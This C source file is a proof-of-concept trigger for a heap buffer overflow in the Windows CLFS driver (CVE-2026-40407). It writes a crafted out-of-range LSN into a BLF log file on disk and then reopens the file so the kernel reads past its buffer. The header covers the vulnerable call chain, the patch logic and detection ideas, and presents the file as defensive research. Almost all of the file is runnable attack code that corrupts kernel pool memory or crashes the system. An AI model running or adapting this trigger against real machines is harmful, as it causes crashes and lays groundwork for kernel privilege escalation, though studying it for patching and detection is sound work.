/*
 * CVE-2026-40407 — CLFS clfs.sys Heap-Based Buffer Overflow Trigger PoC
 *
 * PURPOSE: Confirms the vulnerability exists by triggering the heap overflow
 *          in ReadLogBlock via a crafted BLF file with an out-of-range LSN.
 *          Does NOT implement exploitation (no pool spray, no token swap).
 *
 * EFFECT:  On unpatched systems: BSOD (with Driver Verifier) or silent heap
 *          corruption (without). On patched systems (with Feature_748929339
 *          enabled): ReadLogRecord returns an error before the copy loop,
 *          confirming the bounds check blocks the overflow.
 *
 * BUILD (MSVC, from x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2026_40407.c /link clfsw32.lib kernel32.lib
 *
 * RUN:     poc_cve_2026_40407.exe  (standard user, non-production VM only)
 *
 * Vulnerability:
 *   CClfsLogFcbPhysical::ReadLogBlock resolves a caller-supplied LSN via
 *   GetNextOwnerPageLsn, then falls into a CcCopyRead/memset block-copy loop
 *   WITHOUT checking whether the LSN is within the owner-page boundary. An
 *   out-of-range LSN drives the copy past the buffer's allocation, overflowing
 *   into adjacent kernel pool memory.
 *
 * Patch (KB5089549, May 2026):
 *   ReadLogBlock now checks Feature_748929339, and if enabled, validates:
 *     if (param_2->container <= local_f8.container &&
 *         (local_f8.container != param_2->container || param_2->offset < local_f8.offset))
 *       proceed;
 *     else
 *       bail to LAB_0;
 *
 * Call chain:
 *   User mode:
 *     CreateLogFile()     → creates BLF on disk
 *     AddLogContainer()   → adds container, populates metadata
 *     ReserveAndAppendLog → writes records to establish LSN state
 *     [close handle]
 *     [patch BLF on disk] → inject out-of-range LSN in owner-page metadata
 *     CreateLogFile()     → reopens corrupted BLF
 *     ReadLogRecord()     → triggers ReadLogBlock with crafted LSN
 *   Kernel mode:
 *     CClfsRequest::Dispatch()
 *       → CClfsLogFcbPhysical::ReadLog()
 *         → CClfsLogFcbPhysical::ReadLogBlock()
 *           → GetNextOwnerPageLsn()    // resolves boundary
 *           → [missing bounds check]   // pre-patch
 *           → CcCopyRead/memset loop   // *** HEAP OVERFLOW ***
 *
 * Detection opportunities:
 *   - Sysmon Event 11: .blf file created in user-writable directory
 *   - Sysmon Event 7:  clfsw32.dll loaded by non-system process
 *   - YARA: BLF file with LSN container index > 0xFF at owner-page offset
 *   - Security 4656/4663: Write access to .blf in \Users\Public\ or \Temp\
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-22
 * CVE:    CVE-2026-40407
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access.
 */

#include <windows.h>
#include <clfsw32.h>
#include <clfsmgmtw32.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "clfsw32.lib")

/* ------------------------------------------------------------------ */
/* BLF on-disk structure offsets                                       */
/* ------------------------------------------------------------------ */

#define BLF_OWNER_PAGE_OFFSET   0xA00   /* Offset to owner page metadata */
#define BLF_SECTOR_SIZE         0x200   /* 512 bytes */

/*
 * CLS_LSN structure (8 bytes):
 *   bits[0:31]  — block offset within container
 *   bits[32:63] — container index
 *
 * To trigger the overflow, we need a container index that exceeds
 * the owner-page boundary resolved by GetNextOwnerPageLsn.
 * Setting container to 0xFFFF with a large block offset produces
 * an LSN that passes initial parsing but exceeds the boundary.
 */
#define CRAFTED_LSN_CONTAINER   0xFFFF
#define CRAFTED_LSN_OFFSET      0x7FFFFFFF

static void print_last_error(const char *context)
{
    DWORD err = GetLastError();
    char *msg = NULL;
    FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
                   NULL, err, 0, (LPSTR)&msg, 0, NULL);
    printf("[!] %s failed: %lu (0x%08lX) — %s",
           context, err, err, msg ? msg : "unknown\n");
    if (msg) LocalFree(msg);
}

/* ------------------------------------------------------------------ */
/* Phase 1: Create a legitimate BLF with container and records        */
/* ------------------------------------------------------------------ */

static BOOL create_legitimate_log(const WCHAR *log_path, const WCHAR *container_path)
{
    HANDLE hLog = INVALID_HANDLE_VALUE;
    ULONGLONG container_size = 1024 * 1024;  /* 1 MB container */
    CLFS_LSN lsn;
    PVOID marshal_ctx = NULL;
    ULONG record_size = 512;
    BYTE record_data[512];
    BOOL ok = FALSE;

    printf("[*] Phase 1: Creating legitimate log at %ls\n", log_path);

    hLog = CreateLogFile(
        log_path,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        0
    );

    if (hLog == INVALID_HANDLE_VALUE) {
        print_last_error("CreateLogFile");
        return FALSE;
    }

    printf("[+] Log handle: %p\n", hLog);

    if (!AddLogContainer(hLog, &container_size, container_path, NULL)) {
        if (GetLastError() != ERROR_ALREADY_EXISTS) {
            print_last_error("AddLogContainer");
            goto cleanup;
        }
        printf("[*] Container already exists, continuing\n");
    } else {
        printf("[+] Container added: %ls (%llu KB)\n", container_path, container_size / 1024);
    }

    if (!CreateLogMarshallingArea(
            hLog, NULL, NULL, NULL, NULL,
            record_size * 8, 0, 0, &marshal_ctx)) {
        print_last_error("CreateLogMarshallingArea");
        goto cleanup;
    }

    printf("[+] Marshalling area created\n");

    /* Write records to populate LSN state in the BLF */
    memset(record_data, 'B', sizeof(record_data));

    for (int i = 0; i < 8; i++) {
        CLFS_WRITE_ENTRY write_entry;
        write_entry.Buffer = record_data;
        write_entry.ByteLength = record_size;

        if (!ReserveAndAppendLog(
                marshal_ctx,
                &write_entry, 1,
                NULL, NULL,
                0, NULL,
                CLFS_FLAG_FORCE_APPEND,
                &lsn, NULL)) {
            print_last_error("ReserveAndAppendLog");
            break;
        }
    }

    printf("[+] Wrote 8 records, LSN state established\n");

    if (!FlushLogBuffers(marshal_ctx, NULL)) {
        print_last_error("FlushLogBuffers (initial)");
    }

    ok = TRUE;

cleanup:
    if (marshal_ctx) DeleteLogMarshallingArea(marshal_ctx);
    if (hLog != INVALID_HANDLE_VALUE) CloseHandle(hLog);
    return ok;
}

/* ------------------------------------------------------------------ */
/* Phase 2: Patch the BLF with an out-of-range LSN                    */
/* ------------------------------------------------------------------ */

static BOOL patch_blf_lsn(const WCHAR *blf_path)
{
    HANDLE hFile;
    DWORD bytes_read, bytes_written;
    BYTE owner_page[BLF_SECTOR_SIZE * 4];
    LARGE_INTEGER offset;

    printf("\n[*] Phase 2: Patching BLF with out-of-range LSN\n");

    /* Open BLF as raw file — try without LOG: prefix */
    hFile = CreateFileW(
        blf_path,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hFile == INVALID_HANDLE_VALUE) {
        print_last_error("CreateFileW (BLF raw open)");
        return FALSE;
    }

    /* Read the owner page area */
    offset.QuadPart = BLF_OWNER_PAGE_OFFSET;
    if (!SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN)) {
        print_last_error("SetFilePointerEx");
        CloseHandle(hFile);
        return FALSE;
    }

    if (!ReadFile(hFile, owner_page, sizeof(owner_page), &bytes_read, NULL) || bytes_read == 0) {
        print_last_error("ReadFile (owner page)");
        CloseHandle(hFile);
        return FALSE;
    }

    printf("[+] Read %lu bytes from owner page at offset 0x%X\n",
           bytes_read, BLF_OWNER_PAGE_OFFSET);

    /*
     * Inject an out-of-range LSN into the owner page metadata.
     * The LSN is stored as two 32-bit values:
     *   [offset+0x00]: block offset (uint32)
     *   [offset+0x04]: container index (uint32)
     *
     * Setting container to 0xFFFF exceeds any legitimate boundary,
     * causing ReadLogBlock's copy loop to overflow.
     */
    UINT32 crafted_offset = CRAFTED_LSN_OFFSET;
    UINT32 crafted_container = CRAFTED_LSN_CONTAINER;

    printf("[*] Injecting crafted LSN: container=0x%X, offset=0x%X\n",
           crafted_container, crafted_offset);

    /* Write crafted LSN at multiple owner-page entry positions */
    for (int i = 0; i < 4; i++) {
        int entry_offset = 0x10 + (i * 0x20);  /* Owner page entry stride */
        if (entry_offset + 8 <= (int)bytes_read) {
            memcpy(owner_page + entry_offset, &crafted_offset, 4);
            memcpy(owner_page + entry_offset + 4, &crafted_container, 4);
        }
    }

    /* Write back the modified owner page */
    if (!SetFilePointerEx(hFile, offset, NULL, FILE_BEGIN)) {
        print_last_error("SetFilePointerEx (write-back)");
        CloseHandle(hFile);
        return FALSE;
    }

    if (!WriteFile(hFile, owner_page, sizeof(owner_page), &bytes_written, NULL)) {
        print_last_error("WriteFile (patched owner page)");
        CloseHandle(hFile);
        return FALSE;
    }

    printf("[+] Patched %lu bytes at offset 0x%X\n", bytes_written, BLF_OWNER_PAGE_OFFSET);
    CloseHandle(hFile);
    return TRUE;
}

/* ------------------------------------------------------------------ */
/* Phase 3: Reopen the corrupted BLF and trigger ReadLogBlock          */
/* ------------------------------------------------------------------ */

static BOOL trigger_overflow(const WCHAR *log_path)
{
    HANDLE hLog;
    PVOID marshal_ctx = NULL;
    PVOID read_ctx = NULL;
    CLFS_LSN start_lsn;
    PBYTE record_buffer = NULL;
    ULONG record_len = 0;
    BYTE record_type = 0;
    CLFS_LSN undo_lsn, prev_lsn;

    printf("\n[*] Phase 3: Reopening corrupted BLF to trigger ReadLogBlock\n");
    printf("[!] WARNING: On unpatched systems this may BSOD!\n");

    hLog = CreateLogFile(
        log_path,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0
    );

    if (hLog == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        if (err == ERROR_LOG_CORRUPT || err == ERROR_INVALID_PARAMETER) {
            printf("[+] PATCHED: CreateLogFile rejected corrupted BLF (error %lu)\n", err);
            return TRUE;
        }
        print_last_error("CreateLogFile (reopen)");
        return FALSE;
    }

    printf("[!] CreateLogFile accepted corrupted BLF — system may be VULNERABLE\n");

    if (!CreateLogMarshallingArea(
            hLog, NULL, NULL, NULL, NULL,
            4096, 0, 0, &marshal_ctx)) {
        print_last_error("CreateLogMarshallingArea (reopen)");
        CloseHandle(hLog);
        return FALSE;
    }

    /*
     * Attempt to read log records. This calls into ReadLog → ReadLogBlock
     * with the corrupted LSN from the owner page metadata. On unpatched
     * systems, the bounds check is missing and ReadLogBlock's CcCopyRead
     * loop overflows the heap buffer.
     */
    printf("[!] Calling ReadLogRecord — this triggers the ReadLogBlock overflow...\n");

    /* Query the log to get the base LSN */
    CLFS_INFORMATION log_info;
    ULONG info_size = sizeof(log_info);
    if (!GetLogFileInformation(hLog, &log_info, &info_size)) {
        print_last_error("GetLogFileInformation");
        /* Try reading from the start anyway */
        memset(&start_lsn, 0, sizeof(start_lsn));
    } else {
        start_lsn = log_info.BaseLsn;
    }

    if (!ReadLogRecord(
            marshal_ctx,
            &start_lsn,
            ClfsDataRecord,
            &read_ctx,
            &record_buffer,
            &record_len,
            &record_type,
            &undo_lsn,
            &prev_lsn,
            NULL)) {
        DWORD err = GetLastError();
        if (err == ERROR_INVALID_PARAMETER || err == ERROR_LOG_CORRUPT) {
            printf("[+] PATCHED: ReadLogRecord returned error %lu\n", err);
            printf("[+] Feature_748929339 bounds check is active.\n");
        } else {
            printf("[?] ReadLogRecord failed with error %lu (0x%08lX)\n", err, err);
            printf("[?] If no BSOD, Driver Verifier may have caught the corruption.\n");
        }
    } else {
        printf("[!] ReadLogRecord succeeded — heap may be corrupted!\n");
        printf("[!] SYSTEM IS LIKELY VULNERABLE to CVE-2026-40407\n");
    }

    if (read_ctx) CloseAndResetLogFile(hLog);
    if (marshal_ctx) DeleteLogMarshallingArea(marshal_ctx);
    CloseHandle(hLog);
    return TRUE;
}

/* ------------------------------------------------------------------ */
/* Main                                                                */
/* ------------------------------------------------------------------ */

int wmain(int argc, WCHAR *argv[])
{
    WCHAR log_path[MAX_PATH];
    WCHAR container_path[MAX_PATH];
    WCHAR blf_raw_path[MAX_PATH];
    WCHAR temp_dir[MAX_PATH];

    printf("=== CVE-2026-40407 Trigger PoC ===\n");
    printf("=== CLFS Heap-Based Buffer Overflow in ReadLogBlock ===\n");
    printf("=== FOR DEFENSIVE RESEARCH ONLY ===\n\n");

    GetTempPathW(MAX_PATH, temp_dir);

    swprintf_s(log_path, MAX_PATH, L"LOG:%spoc_40407.blf", temp_dir);
    swprintf_s(container_path, MAX_PATH, L"%spoc_40407_container.blf", temp_dir);
    swprintf_s(blf_raw_path, MAX_PATH, L"%spoc_40407.blf", temp_dir);

    printf("[*] Log path:       %ls\n", log_path);
    printf("[*] Container path: %ls\n", container_path);
    printf("[*] BLF raw path:   %ls\n\n", blf_raw_path);

    if (!create_legitimate_log(log_path, container_path)) {
        printf("[!] Phase 1 failed\n");
        return 1;
    }

    if (!patch_blf_lsn(blf_raw_path)) {
        printf("[!] Phase 2 failed\n");
        return 1;
    }

    if (!trigger_overflow(log_path)) {
        printf("[!] Phase 3 failed\n");
        return 1;
    }

    printf("\n[*] Cleaning up...\n");
    DeleteFileW(blf_raw_path);
    DeleteFileW(container_path);

    printf("[+] Done. Check for BSOD (unpatched) or error return (patched).\n");
    return 0;
}
